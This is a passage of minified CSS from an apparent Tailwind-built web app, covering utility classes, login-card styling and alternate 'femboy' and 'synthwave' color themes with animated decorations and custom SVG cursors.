1))}.text-emerald-400\/60{color:#34d39999}.text-emerald-400\/70{color:#34d399b3}.text-emerald-400\/80{color:#34d399cc}.text-emerald-400\/90{color:#34d399e6}.text-gray-300{--tw-text-opacity: 1;color:rgb(209 213 219 / var(--tw-text-opacity, 1))}.text-orange-300{--tw-text-opacity: 1;color:rgb(253 186 116 / var(--tw-text-opacity, 1))}.text-orange-400{--tw-text-opacity: 1;color:rgb(251 146 60 / var(--tw-text-opacity, 1))}.text-purple-400{--tw-text-opacity: 1;color:rgb(192 132 252 / var(--tw-text-opacity, 1))}.text-red-300{--tw-text-opacity: 1;color:rgb(252 165 165 / var(--tw-text-opacity, 1))}.text-red-400{--tw-text-opacity: 1;color:rgb(248 113 113 / var(--tw-text-opacity, 1))}.text-red-400\/60{color:#f8717199}.text-red-400\/70{color:#f87171b3}.text-transparent{color:transparent}.text-white{--tw-text-opacity: 1;color:rgb(255 255 255 / var(--tw-text-opacity, 1))}.text-yellow-300{--tw-text-opacity: 1;color:rgb(253 224 71 / var(--tw-text-opacity, 1))}.text-yellow-400{--tw-text-opacity: 1;color:rgb(250 204 21 / var(--tw-text-opacity, 1))}.text-zerin-accent{--tw-text-opacity: 1;color:rgb(6 182 212 / var(--tw-text-opacity, 1))}.text-zerin-accent\/40{color:#06b6d466}.text-zerin-accent\/50{color:#06b6d480}.text-zerin-accent\/60{color:#06b6d499}.text-zerin-accent\/70{color:#06b6d4b3}.text-zerin-accent\/80{color:#06b6d4cc}.text-zerin-danger{--tw-text-opacity: 1;color:rgb(239 68 68 / var(--tw-text-opacity, 1))}.text-zerin-text{--tw-text-opacity: 1;color:rgb(250 250 250 / var(--tw-text-opacity, 1))}.text-zerin-text-dim{--tw-text-opacity: 1;color:rgb(161 161 170 / var(--tw-text-opacity, 1))}.text-zerin-text-dim\/80{color:#a1a1aacc}.text-zerin-text-muted{--tw-text-opacity: 1;color:rgb(82 82 91 / var(--tw-text-opacity, 1))}.text-zerin-text-muted\/25{color:#52525b40}.text-zerin-text-muted\/30{color:#52525b4d}.text-zerin-text-muted\/40{color:#52525b66}.text-zerin-text-muted\/50{color:#52525b80}.text-zerin-text-muted\/60{color:#52525b99}.text-zerin-text-muted\/80{color:#52525bcc}.text-zinc-300{--tw-text-opacity: 1;color:rgb(212 212 216 / var(--tw-text-opacity, 1))}.text-zinc-400{--tw-text-opacity: 1;color:rgb(161 161 170 / var(--tw-text-opacity, 1))}.text-zinc-500{--tw-text-opacity: 1;color:rgb(113 113 122 / var(--tw-text-opacity, 1))}.text-zinc-600{--tw-text-opacity: 1;color:rgb(82 82 91 / var(--tw-text-opacity, 1))}.text-zinc-700{--tw-text-opacity: 1;color:rgb(63 63 70 / var(--tw-text-opacity, 1))}.underline{text-decoration-line:underline}.line-through{text-decoration-line:line-through}.decoration-zerin-danger\/60{text-decoration-color:#ef444499}.underline-offset-2{text-underline-offset:2px}.placeholder-\[\#3a3a44\]::-moz-placeholder{--tw-placeholder-opacity: 1;color:rgb(58 58 68 / var(--tw-placeholder-opacity, 1))}.placeholder-\[\#3a3a44\]::placeholder{--tw-placeholder-opacity: 1;color:rgb(58 58 68 / var(--tw-placeholder-opacity, 1))}.placeholder-zerin-text-muted::-moz-placeholder{--tw-placeholder-opacity: 1;color:rgb(82 82 91 / var(--tw-placeholder-opacity, 1))}.placeholder-zerin-text-muted::placeholder{--tw-placeholder-opacity: 1;color:rgb(82 82 91 / var(--tw-placeholder-opacity, 1))}.placeholder-zerin-text-muted\/40::-moz-placeholder{color:#52525b66}.placeholder-zerin-text-muted\/40::placeholder{color:#52525b66}.accent-amber-500{accent-color:#f59e0b}.accent-zerin-accent{accent-color:#06B6D4}.opacity-0{opacity:0}.opacity-100{opacity:1}.opacity-25{opacity:.25}.opacity-30{opacity:.3}.opacity-40{opacity:.4}.opacity-50{opacity:.5}.opacity-60{opacity:.6}.opacity-75{opacity:.75}.opacity-90{opacity:.9}.opacity-\[0\.03\]{opacity:.03}.shadow-2xl{--tw-shadow: 0 25px 50px -12px rgb(0 0 0 / .25);--tw-shadow-colored: 0 25px 50px -12px var(--tw-shadow-color);box-shadow:var(--tw-ring-offset-shadow, 0 0 #0000),var(--tw-ring-shadow, 0 0 #0000),var(--tw-shadow)}.shadow-lg{--tw-shadow: 0 10px 15px -3px rgb(0 0 0 / .1), 0 4px 6px -4px rgb(0 0 0 / .1);--tw-shadow-colored: 0 10px 15px -3px var(--tw-shadow-color), 0 4px 6px -4px var(--tw-shadow-color);box-shadow:var(--tw-ring-offset-shadow, 0 0 #0000),var(--tw-ring-shadow, 0 0 #0000),var(--tw-shadow)}.shadow-xl{--tw-shadow: 0 20px 25px -5px rgb(0 0 0 / .1), 0 8px 10px -6px rgb(0 0 0 / .1);--tw-shadow-colored: 0 20px 25px -5px var(--tw-shadow-color), 0 8px 10px -6px var(--tw-shadow-color);box-shadow:var(--tw-ring-offset-shadow, 0 0 #0000),var(--tw-ring-shadow, 0 0 #0000),var(--tw-shadow)}.shadow-black\/40{--tw-shadow-color: rgb(0 0 0 / .4);--tw-shadow: var(--tw-shadow-colored)}.shadow-black\/60{--tw-shadow-color: rgb(0 0 0 / .6);--tw-shadow: var(--tw-shadow-colored)}.outline-none{outline:2px solid transparent;outline-offset:2px}.ring{--tw-ring-offset-shadow: var(--tw-ring-inset) 0 0 0 var(--tw-ring-offset-width) var(--tw-ring-offset-color);--tw-ring-shadow: var(--tw-ring-inset) 0 0 0 calc(3px + var(--tw-ring-offset-width)) var(--tw-ring-color);box-shadow:var(--tw-ring-offset-shadow),var(--tw-ring-shadow),var(--tw-shadow, 0 0 #0000)}.blur{--tw-blur: blur(8px);filter:var(--tw-blur) var(--tw-brightness) var(--tw-contrast) var(--tw-grayscale) var(--tw-hue-rotate) var(--tw-invert) var(--tw-saturate) var(--tw-sepia) var(--tw-drop-shadow)}.blur-sm{--tw-blur: blur(4px);filter:var(--tw-blur) var(--tw-brightness) var(--tw-contrast) var(--tw-grayscale) var(--tw-hue-rotate) var(--tw-invert) var(--tw-saturate) var(--tw-sepia) var(--tw-drop-shadow)}.drop-shadow-\[0_0_40px_rgba\(6\,182\,212\,0\.4\)\]{--tw-drop-shadow: drop-shadow(0 0 40px rgba(6,182,212,.4));filter:var(--tw-blur) var(--tw-brightness) var(--tw-contrast) var(--tw-grayscale) var(--tw-hue-rotate) var(--tw-invert) var(--tw-saturate) var(--tw-sepia) var(--tw-drop-shadow)}.invert{--tw-invert: invert(100%);filter:var(--tw-blur) var(--tw-brightness) var(--tw-contrast) var(--tw-grayscale) var(--tw-hue-rotate) var(--tw-invert) var(--tw-saturate) var(--tw-sepia) var(--tw-drop-shadow)}.filter{filter:var(--tw-blur) var(--tw-brightness) var(--tw-contrast) var(--tw-grayscale) var(--tw-hue-rotate) var(--tw-invert) var(--tw-saturate) var(--tw-sepia) var(--tw-drop-shadow)}.backdrop-blur-sm{--tw-backdrop-blur: blur(4px);-webkit-backdrop-filter:var(--tw-backdrop-blur) var(--tw-backdrop-brightness) var(--tw-backdrop-contrast) var(--tw-backdrop-grayscale) var(--tw-backdrop-hue-rotate) var(--tw-backdrop-invert) var(--tw-backdrop-opacity) var(--tw-backdrop-saturate) var(--tw-backdrop-sepia);backdrop-filter:var(--tw-backdrop-blur) var(--tw-backdrop-brightness) var(--tw-backdrop-contrast) var(--tw-backdrop-grayscale) var(--tw-backdrop-hue-rotate) var(--tw-backdrop-invert) var(--tw-backdrop-opacity) var(--tw-backdrop-saturate) var(--tw-backdrop-sepia)}.backdrop-blur-xl{--tw-backdrop-blur: blur(24px);-webkit-backdrop-filter:var(--tw-backdrop-blur) var(--tw-backdrop-brightness) var(--tw-backdrop-contrast) var(--tw-backdrop-grayscale) var(--tw-backdrop-hue-rotate) var(--tw-backdrop-invert) var(--tw-backdrop-opacity) var(--tw-backdrop-saturate) var(--tw-backdrop-sepia);backdrop-filter:var(--tw-backdrop-blur) var(--tw-backdrop-brightness) var(--tw-backdrop-contrast) var(--tw-backdrop-grayscale) var(--tw-backdrop-hue-rotate) var(--tw-backdrop-invert) var(--tw-backdrop-opacity) var(--tw-backdrop-saturate) var(--tw-backdrop-sepia)}.transition-all{transition-property:all;transition-timing-function:cubic-bezier(.4,0,.2,1);transition-duration:.15s}.transition-colors{transition-property:color,background-color,border-color,text-decoration-color,fill,stroke;transition-timing-function:cubic-bezier(.4,0,.2,1);transition-duration:.15s}.transition-opacity{transition-property:opacity;transition-timing-function:cubic-bezier(.4,0,.2,1);transition-duration:.15s}.transition-transform{transition-property:transform;transition-timing-function:cubic-bezier(.4,0,.2,1);transition-duration:.15s}.duration-100{transition-duration:.1s}.duration-1000{transition-duration:1s}.duration-150{transition-duration:.15s}.duration-200{transition-duration:.2s}.duration-300{transition-duration:.3s}.duration-500{transition-duration:.5s}.duration-700{transition-duration:.7s}.duration-75{transition-duration:75ms}.ease-in-out{transition-timing-function:cubic-bezier(.4,0,.2,1)}.ease-out{transition-timing-function:cubic-bezier(0,0,.2,1)}.\[appearance\:textfield\]{-webkit-appearance:textfield;-moz-appearance:textfield;appearance:textfield}.\[color-scheme\:dark\]{color-scheme:dark}*{-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale}body{--tw-bg-opacity: 1;background-color:rgb(9 9 11 / var(--tw-bg-opacity, 1));font-family:var(--font-sans),"Segoe UI",system-ui,-apple-system,BlinkMacSystemFont,"Helvetica Neue",Arial,sans-serif;--tw-text-opacity: 1;color:rgb(250 250 250 / var(--tw-text-opacity, 1))}.femboy-theme body{background-color:var(--fem-bg);color:var(--fem-text)}.synthwave-theme body{background-color:var(--synth-bg);color:var(--synth-text)}.synthwave-theme body.font-display{background:linear-gradient(135deg,#ff2d95,#ff6b9d,#00f0ff,#b026ff);-webkit-background-clip:text;-webkit-text-fill-color:transparent;background-clip:text;filter:drop-shadow(0 0 8px rgba(255,45,149,.4))}body.app-layout{overflow:hidden}#root{height:100vh;width:100vw}::-moz-selection{background:#06b6d44d;color:#fafafa}::selection{background:#06b6d44d;color:#fafafa}.custom-scrollbar::-webkit-scrollbar{width:6px;height:6px}.custom-scrollbar::-webkit-scrollbar-track{background:transparent}.custom-scrollbar::-webkit-scrollbar-thumb{background:#27272a;border-radius:3px}.custom-scrollbar::-webkit-scrollbar-thumb:hover{background:#3f3f46}.custom-scrollbar{scrollbar-width:thin;scrollbar-color:#27272A transparent}:focus-visible{outline:2px solid rgba(6,182,212,.5);outline-offset:2px}.form-input{width:100%;border-radius:.125rem;border-width:1px;--tw-border-opacity: 1;border-color:rgb(31 31 35 / var(--tw-border-opacity, 1));--tw-bg-opacity: 1;background-color:rgb(9 9 11 / var(--tw-bg-opacity, 1));padding:.625rem .75rem;font-family:var(--font-sans),"Segoe UI",system-ui,-apple-system,BlinkMacSystemFont,"Helvetica Neue",Arial,sans-serif;font-size:.875rem;line-height:1.25rem;--tw-text-opacity: 1;color:rgb(250 250 250 / var(--tw-text-opacity, 1));transition-property:all;transition-timing-function:cubic-bezier(.4,0,.2,1);transition-duration:.15s}.femboy-theme .form-input{background-color:var(--fem-bg);color:var(--fem-text);border-color:var(--fem-border)}.femboy-theme .form-input:focus{border-color:var(--fem-accent);--tw-ring-color: rgba(255, 105, 180, .3)}.synthwave-theme .form-input{background-color:var(--synth-bg);color:var(--synth-text);border-color:var(--synth-border)}.synthwave-theme .form-input:focus{border-color:var(--synth-cyan);--tw-ring-color: rgba(0, 240, 255, .3)}.synthwave-theme .form-input{box-shadow:inset 0 0 0 .5px #ff2d950d}.synthwave-theme .font-display.form-input{background:linear-gradient(135deg,#ff2d95,#ff6b9d,#00f0ff,#b026ff);-webkit-background-clip:text;-webkit-text-fill-color:transparent;background-clip:text;filter:drop-shadow(0 0 8px rgba(255,45,149,.4))}.form-input:focus{--tw-border-opacity: 1;border-color:rgb(6 182 212 / var(--tw-border-opacity, 1));outline:2px solid transparent;outline-offset:2px;--tw-ring-offset-shadow: var(--tw-ring-inset) 0 0 0 var(--tw-ring-offset-width) var(--tw-ring-offset-color);--tw-ring-shadow: var(--tw-ring-inset) 0 0 0 calc(1px + var(--tw-ring-offset-width)) var(--tw-ring-color);box-shadow:var(--tw-ring-offset-shadow),var(--tw-ring-shadow),var(--tw-shadow, 0 0 #0000);--tw-ring-color: rgb(6 182 212 / .3)}.form-input::-moz-placeholder{--tw-text-opacity: 1;color:rgb(82 82 91 / var(--tw-text-opacity, 1))}.form-input::placeholder{--tw-text-opacity: 1;color:rgb(82 82 91 / var(--tw-text-opacity, 1))}.femboy-theme .form-input::-moz-placeholder{color:var(--fem-text-muted)}.femboy-theme .form-input::placeholder{color:var(--fem-text-muted)}.synthwave-theme .form-input::-moz-placeholder{color:var(--synth-text-muted)}.synthwave-theme .form-input::placeholder{color:var(--synth-text-muted)}select.form-input{cursor:pointer;background-image:url("data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' fill='none' viewBox='0 0 20 20'%3E%3Cpath stroke='%2352525B' stroke-linecap='round' stroke-linejoin='round' stroke-width='1.5' d='M6 8l4 4 4-4'/%3E%3C/svg%3E");background-position:right .5rem center;background-repeat:no-repeat;background-size:1.5em 1.5em;padding-right:2.5rem;-webkit-appearance:none;-moz-appearance:none;appearance:none}.animate-slide-up,.animate-fade-in{animation-fill-mode:forwards}@keyframes landingScanBar{0%{width:0%}to{width:100%}}.landing-scan-bar{animation:landingScanBar 2s cubic-bezier(.4,0,.2,1) forwards}@keyframes landingScanRowIn{0%{opacity:0;transform:translate(-8px)}to{opacity:1;transform:translate(0)}}.landing-scan-row{opacity:0;animation:landingScanRowIn .3s ease-out forwards}@keyframes ctxSubmenuIn{0%{opacity:0;transform:translate(-4px)}to{opacity:1;transform:translate(0)}}.ctx-submenu-in{animation:ctxSubmenuIn .12s ease-out}a,button{transition-property:color,background-color,border-color,box-shadow,opacity;transition-duration:.15s;transition-timing-function:cubic-bezier(.4,0,.2,1)}@keyframes authReveal{0%{opacity:0;transform:translateY(16px)}to{opacity:1;transform:translateY(0)}}.auth-stagger-1,.auth-stagger-2,.auth-stagger-3,.auth-stagger-4,.auth-stagger-5,.auth-stagger-6,.auth-stagger-7,.auth-stagger-8{opacity:0;animation:authReveal .5s cubic-bezier(.16,1,.3,1) forwards}.auth-stagger-1{animation-delay:0ms}.auth-stagger-2{animation-delay:.1s}.auth-stagger-3{animation-delay:.2s}.auth-stagger-4{animation-delay:.28s}.auth-stagger-5{animation-delay:.36s}.auth-stagger-6{animation-delay:.44s}.auth-stagger-7{animation-delay:.52s}.auth-stagger-8{animation-delay:.6s}@keyframes authBreathe{0%,to{transform:translateY(0)}50%{transform:translateY(-3px)}}.auth-breathe{animation:authBreathe 4s ease-in-out infinite}@keyframes authBadgeGlow{0%,to{box-shadow:0 0 4px #06b6d41a,inset 0 0 4px #06b6d40d;border-color:#06b6d44d}50%{box-shadow:0 0 12px #06b6d440,inset 0 0 8px #06b6d41a;border-color:#06b6d480}}.auth-badge-glow{animation:authBadgeGlow 3s ease-in-out infinite}.auth-card{position:relative;background:#111113;border:1px solid #1F1F23;padding:1.75rem;overflow:hidden;transition:border-color .3s ease}.auth-card:hover{border-color:#06b6d426}.auth-corner{position:absolute;width:14px;height:14px;pointer-events:none;z-index:5}.auth-corner-tl{top:-1px;left:-1px;border-top:2px solid rgba(6,182,212,.5);border-left:2px solid rgba(6,182,212,.5)}.auth-corner-tr{top:-1px;right:-1px;border-top:2px solid rgba(6,182,212,.5);border-right:2px solid rgba(6,182,212,.5)}.auth-corner-bl{bottom:-1px;left:-1px;border-bottom:2px solid rgba(6,182,212,.5);border-left:2px solid rgba(6,182,212,.5)}.auth-corner-br{bottom:-1px;right:-1px;border-bottom:2px solid rgba(6,182,212,.5);border-right:2px solid rgba(6,182,212,.5)}@keyframes authScanline{0%{top:-2px;opacity:0}5%{opacity:1}95%{opacity:1}to{top:100%;opacity:0}}.auth-scanline{position:absolute;left:0;right:0;height:1px;background:linear-gradient(90deg,transparent 0%,rgba(6,182,212,.3) 20%,rgba(6,182,212,.5) 50%,rgba(6,182,212,.3) 80%,transparent 100%);box-shadow:0 0 8px #06b6d426;z-index:4;pointer-events:none;animation:authScanline 4s ease-in-out infinite}.auth-input-wrap{position:relative}.auth-input-wrap:before{content:"";position:absolute;left:0;top:4px;bottom:4px;width:2px;background:transparent;transition:background .2s ease,box-shadow .2s ease;z-index:2;border-radius:1px}.auth-input-wrap:focus-within:before{background:#06b6d4;box-shadow:0 0 8px #06b6d466}.auth-input{width:100%;background:#09090b;border:1px solid #1F1F23;padding:.625rem .875rem .625rem 1rem;color:#fafafa;font-size:.875rem;font-family:var(--font-sans),"Segoe UI",system-ui,sans-serif;outline:none;transition:border-color .2s ease,box-shadow .2s ease,background .2s ease}.auth-input::-moz-placeholder{color:#52525b}.auth-input::placeholder{color:#52525b}.auth-input:focus{border-color:#06b6d466;box-shadow:0 0 0 3px #06b6d414,inset 0 0 12px #06b6d408;background:#0a0a0d}@keyframes authSubmitGlow{0%,to{box-shadow:0 0 12px #06b6d426,0 0 4px #06b6d41a}50%{box-shadow:0 0 20px #06b6d44d,0 0 8px #06b6d433}}.auth-submit{width:100%;position:relative;padding:.7rem 1rem;font-size:.875rem;font-weight:500;font-family:var(--font-sans),"Segoe UI",system-ui,sans-serif;color:#fff;background:linear-gradient(135deg,#0891b2,#06b6d4,#22d3ee);background-size:200% 200%;border:none;cursor:pointer;overflow:hidden;animation:authSubmitGlow 3s ease-in-out infinite;transition:filter .2s ease,transform .15s ease}.auth-submit:hover:not(:disabled){filter:brightness(1.1);transform:translateY(-1px)}.auth-submit:active:not(:disabled){transform:translateY(0)}.auth-submit:disabled{opacity:.5;cursor:not-allowed;animation:none}.auth-submit:after{content:"";position:absolute;top:0;left:-100%;width:100%;height:100%;background:linear-gradient(90deg,transparent 0%,rgba(255,255,255,.08) 50%,transparent 100%);transition:left .5s ease;z-index:1}.auth-submit:hover:after{left:100%}@keyframes authErrorIn{0%{opacity:0;transform:translateY(-8px) scaleY(.95);max-height:0;padding-top:0;padding-bottom:0;margin-bottom:0}to{opacity:1;transform:translateY(0) scaleY(1);max-height:80px;padding-top:.75rem;padding-bottom:.75rem;margin-bottom:0}}.auth-error{display:flex;align-items:center;gap:.75rem;background:#ef44440f;border:1px solid rgba(239,68,68,.2);color:#ef4444;font-size:.8125rem;font-family:var(--font-sans),"Segoe UI",system-ui,sans-serif;padding:.75rem 1rem;animation:authErrorIn .35s cubic-bezier(.16,1,.3,1) forwards;overflow:hidden}.auth-error-bar{flex-shrink:0;width:3px;height:16px;background:#ef4444;border-radius:1px;box-shadow:0 0 6px #ef444466}@keyframes authStatusPulse{0%,to{opacity:1;box-shadow:0 0 4px #06b6d466}50%{opacity:.5;box-shadow:0 0 8px #06b6d499}}.auth-status-dot{display:inline-block;width:5px;height:5px;border-radius:50%;background:#06b6d4;animation:authStatusPulse 2s ease-in-out infinite}.femboy-theme{--fem-bg: #fff5f8;--fem-bg-alt: #fff0f5;--fem-panel: #ffe8f1;--fem-panel-hover: #ffd6e7;--fem-border: #ffb8d4;--fem-border-hover: #ff9ec4;--fem-accent: #ff69b4;--fem-accent-hover: #ff4da6;--fem-accent-dim: #e84393;--fem-text: #3d0a22;--fem-text-dim: #7a2855;--fem-text-muted: #c48aa6}.femboy-theme,.femboy-theme *{cursor:url("data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' width='28' height='32' viewBox='0 0 28 32'%3E%3Cellipse cx='14' cy='22' rx='8' ry='7' fill='%23ff69b4'/%3E%3Ccircle cx='6' cy='10' r='3.8' fill='%23ff69b4'/%3E%3Ccircle cx='14' cy='6' r='3.8' fill='%23ff69b4'/%3E%3Ccircle cx='22' cy='10' r='3.8' fill='%23ff69b4'/%3E%3Cellipse cx='14' cy='22' rx='5' ry='4.5' fill='%23ff1493' opacity='.4'/%3E%3Ccircle cx='6' cy='10' r='2' fill='%23ff1493' opacity='.4'/%3E%3Ccircle cx='14' cy='6' r='2' fill='%23ff1493' opacity='.4'/%3E%3Ccircle cx='22' cy='10' r='2' fill='%23ff1493' opacity='.4'/%3E%3C/svg%3E") 14 16,auto!important}.femboy-theme ::-moz-selection{background:#ff69b44d!important;color:#fff!important}.femboy-theme ::selection{background:#ff69b44d!important;color:#fff!important}.femboy-theme :focus-visible{outline-color:#ff69b480!important}.femboy-theme body{background-color:var(--fem-bg)!important;color:var(--fem-text)!important}.femboy-theme .bg-zerin-bg{background-color:var(--fem-bg)!important}.femboy-theme .bg-zerin-bg-alt{background-color:var(--fem-bg-alt)!important}.femboy-theme .bg-zerin-panel{background-color:var(--fem-panel)!important}.femboy-theme .bg-zerin-panel-hover,.femboy-theme .hover\:bg-zerin-panel-hover:hover{background-color:var(--fem-panel-hover)!important}.femboy-theme .bg-zerin-accent{background-color:var(--fem-accent)!important}.femboy-theme .bg-zerin-accent-hover{background-color:var(--fem-accent-hover)!important}.femboy-theme .bg-zerin-accent-dim{background-color:var(--fem-accent-dim)!important}.femboy-theme .bg-zerin-accent-muted,.femboy-theme .bg-zerin-accent-muted\/10{background-color:#ff69b41f!important}.femboy-theme .bg-zerin-danger-dim{background-color:#ff149314!important}.femboy-theme .hover\:bg-zerin-danger-dim:hover{background-color:#ff149326!important}.femboy-theme .bg-zinc-600{background-color:#dfa0bb!important}.femboy-theme .bg-zinc-700{background-color:#e8b5cc!important}.femboy-theme .bg-zinc-500{background-color:#c9a0b5!important}.femboy-theme .text-zerin-text{color:var(--fem-text)!important}.femboy-theme .text-zerin-text-dim{color:var(--fem-text-dim)!important}.femboy-theme .text-zerin-text-muted{color:var(--fem-text-muted)!important}.femboy-theme .text-zerin-accent{color:var(--fem-accent)!important}.femboy-theme .text-zerin-accent-hover{color:var(--fem-accent-hover)!important}.femboy-theme .text-zerin-accent-dim{color:var(--fem-accent-dim)!important}.femboy-theme .text-zerin-danger{color:#e8195e!important}.femboy-theme .text-zinc-400{color:#9a6080!important}.femboy-theme .text-zinc-500{color:#b07898!important}.femboy-theme .text-zinc-300{color:#7a2855!important}.femboy-theme .hover\:text-zerin-text:hover{color:var(--fem-text)!important}.femboy-theme .hover\:text-zerin-text-dim:hover{color:var(--fem-text-dim)!important}.femboy-theme .hover\:text-zerin-accent:hover{color:var(--fem-accent)!important}.femboy-theme .hover\:text-zerin-danger:hover{color:#ff1493!important}.femboy-theme .group:hover .group-hover\:text-zerin-accent{color:var(--fem-accent)!important}.femboy-theme .group:hover .group-hover\:text-zerin-text-dim{color:var(--fem-text-dim)!important}.femboy-theme .border-zerin-panel-border{border-color:var(--fem-border)!important}.femboy-theme .border-zerin-panel-border-hover,.femboy-theme .hover\:border-zerin-panel-border-hover:hover{border-color:var(--fem-border-hover)!important}.femboy-theme .border-zerin-accent{border-color:var(--fem-accent)!important}.femboy-theme .border-zerin-accent\/20,.femboy-theme .border-zerin-accent\/25{border-color:#ff69b438!important}.femboy-theme .hover\:border-zerin-accent\/30:hover{border-color:#ff69b44d!important}.femboy-theme .border-zinc-700{border-color:#f0c0d8!important}.femboy-theme .border-zinc-800{border-color:#f5d0e2!important}.femboy-theme .divide-zerin-panel-border>:not([hidden])~:not([hidden]){border-color:var(--fem-border)!important}.femboy-theme .focus\:border-zerin-accent:focus{border-color:var(--fem-accent)!important}.femboy-theme .focus\:ring-zerin-accent\/30:focus{--tw-ring-color: rgba(255, 105, 180, .3) !important}.femboy-theme .custom-scrollbar::-webkit-scrollbar-thumb{background:#ffb8d4}.femboy-theme .custom-scrollbar::-webkit-scrollbar-thumb:hover{background:#ff9ec4}.femboy-theme .custom-scrollbar{scrollbar-color:#ffb8d4 transparent}.femboy-theme .form-input{background-color:var(--fem-bg)!important;border-color:var(--fem-border)!important;color:var(--fem-text)!important}.femboy-theme .form-input:focus{border-color:var(--fem-accent)!important;--tw-ring-color: rgba(255, 105, 180, .3) !important}.femboy-theme .form-input::-moz-placeholder{color:var(--fem-text-muted)!important}.femboy-theme .form-input::placeholder{color:var(--fem-text-muted)!important}.femboy-theme .auth-card{background:var(--fem-panel)!important;border-color:var(--fem-border)!important}.femboy-theme .auth-card:hover{border-color:#ff69b426!important}.femboy-theme .auth-corner-tl,.femboy-theme .auth-corner-tr,.femboy-theme .auth-corner-bl,.femboy-theme .auth-corner-br{border-color:#ff69b480!important}.femboy-theme .auth-scanline{background:linear-gradient(90deg,transparent 0%,rgba(255,105,180,.3) 20%,rgba(255,105,180,.5) 50%,rgba(255,105,180,.3) 80%,transparent 100%)!important;box-shadow:0 0 8px #ff69b426!important}.femboy-theme .auth-input{background:var(--fem-bg)!important;border-color:var(--fem-border)!important;color:var(--fem-text)!important}.femboy-theme .auth-input::-moz-placeholder{color:var(--fem-text-muted)!important}.femboy-theme .auth-input::placeholder{color:var(--fem-text-muted)!important}.femboy-theme .auth-input:focus{border-color:#ff69b4!important;box-shadow:0 0 0 3px #ff69b426,inset 0 0 12px #ff69b40d!important}.femboy-theme .auth-input-wrap:focus-within:before{background:var(--fem-accent)!important;box-shadow:0 0 8px #ff69b466!important}.femboy-theme .auth-submit{background:linear-gradient(135deg,#d4508f,#ff69b4,#ff8cc8)!important}.femboy-theme .auth-status-dot{background:var(--fem-accent)!important}.femboy-theme .auth-badge-glow{box-shadow:0 0 4px #ff69b41a,inset 0 0 4px #ff69b40d!important;border-color:#ff69b44d!important}.femboy-theme nav a{transition:transform .2s cubic-bezier(.34,1.56,.64,1),color .15s,background-color .15s!important}.femboy-theme nav a:hover{transform:translate(3px) scale(1.02)}.femboy-logo-glow{text-shadow:0 0 10px rgba(255,105,180,.4),0 0 20px rgba(255,105,180,.15)}.femboy-ear{position:absolute;width:0;height:0;border-left:9px solid transparent;border-right:9px solid transparent;border-bottom:16px solid #ff69b4;filter:drop-shadow(0 0 6px rgba(255,105,180,.5));z-index:10}.femboy-ear:after{content:"";position:absolute;top:4px;left:-5px;width:0;height:0;border-left:5px solid transparent;border-right:5px solid transparent;border-bottom:9px solid #ff1493}.femboy-ear-left{top:-14px;left:-2px;transform:rotate(-12deg)}.femboy-ear-right{top:-14px;left:32px;transform:rotate(12deg)}@keyframes floatPaw{0%{transform:translateY(0) rotate(0) scale(1);opacity:0}8%{opacity:.35}50%{transform:translateY(-50vh) rotate(90deg) scale(.85);opacity:.2}92%{opacity:0}to{transform:translateY(-105vh) rotate(200deg) scale(.5);opacity:0}}.femboy-paw{position:fixed;bottom:-40px;pointer-events:none;z-index:9999;animation:floatPaw linear infinite;will-change:transform,opacity}@keyframes femConfetti{0%{transform:translate(0) rotate(0) scale(1);opacity:1}70%{opacity:.8}to{transform:translate(var(--fem-dx),var(--fem-dy)) rotate(var(--fem-rot)) scale(.2);opacity:0}}@keyframes femSpark{0%{transform:scale(0) rotate(0);opacity:1}40%{transform:scale(1.2) rotate(120deg);opacity:.9}to{transform:scale(0) rotate(360deg);opacity:0}}.femboy-sparkle{position:fixed;clip-path:polygon(50% 0%,61% 35%,98% 35%,68% 57%,79% 91%,50% 70%,21% 91%,32% 57%,2% 35%,39% 35%);pointer-events:none;z-index:100000;animation:femSpark .9s ease-out forwards}.femboy-theme aside{border-right-color:var(--fem-border)!important;box-shadow:2px 0 20px #ff69b414}@keyframes femBadgeShimmer{0%,to{opacity:.7}50%{opacity:1;text-shadow:0 0 6px rgba(255,105,180,.4)}}.femboy-badge{animation:femBadgeShimmer 2s ease-in-out infinite}.femboy-theme nav a .bg-zerin-accent,.femboy-theme nav a span[class*=bg-zerin-accent]{background-color:var(--fem-accent)!important}.femboy-theme .bg-\[\#09090B\]{background-color:var(--fem-bg)!important}.femboy-theme .bg-\[\#0C0C0E\]{background-color:var(--fem-bg-alt)!important}.femboy-theme .bg-\[\#111113\]{background-color:var(--fem-panel)!important}.femboy-theme .bg-\[\#04040a\]{background-color:#fff8fa!important}.femboy-theme .bg-\[\#08080c\]{background-color:var(--fem-bg)!important}.femboy-theme .border-\[\#1a1a22\],.femboy-theme .border-\[\#1F1F23\]{border-color:var(--fem-border)!important}.femboy-theme .hover\:border-\[\#2a2a33\]:hover{border-color:var(--fem-border-hover)!important}@keyframes femHeartFloat{0%{transform:translate(0) scale(1) rotate(0);opacity:.9}to{transform:translate(var(--fem-hx, 0px),-40px) scale(.3) rotate(var(--fem-hr, 20deg));opacity:0}}.femboy-heart-trail{position:fixed;pointer-events:none;z-index:99998;animation:femHeartFloat .7s ease-out forwards;will-change:transform,opacity;font-size:12px;line-height:1}@keyframes femKaomojiDrift{0%{transform:translate(0) translateY(0) rotate(0);opacity:0}10%{opacity:.6}90%{opacity:.6}to{transform:translate(30px) translateY(-60px) rotate(8deg);opacity:0}}.femboy-kaomoji{position:fixed;pointer-events:none;z-index:99997;font-size:13px;color:#ff69b4;font-family:var(--font-mono),monospace;animation:femKaomojiDrift 3s ease-in-out forwards;text-shadow:0 0 8px rgba(255,105,180,.3)}.synthwave-theme{--synth-bg: #0D001A;--synth-bg-alt: #120024;--synth-panel: #1A0033;--synth-panel-hover: #24004D;--synth-border: #3D0066;--synth-border-hover: #5C0099;--synth-accent: #FF2D95;--synth-accent-hover: #FF5CAF;--synth-accent-dim: #CC0066;--synth-cyan: #00F0FF;--synth-text: #F0E6FF;--synth-text-dim: #C8A8E8;--synth-text-muted: #7B5299}.synthwave-theme,.synthwave-theme *{cursor:url("data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' width='24' height='24' viewBox='0 0 24 24'%3E%3Cline x1='12' y1='0' x2='12' y2='9' stroke='%2300F0FF' stroke-width='1.5' opacity='0.8'/%3E%3Cline x1='12' y1='15' x2='12' y2='24' stroke='%2300F0FF' stroke-width='1.5' opacity='0.8'/%3E%3Cline x1='0' y1='12' x2='9' y2='12' stroke='%2300F0FF' 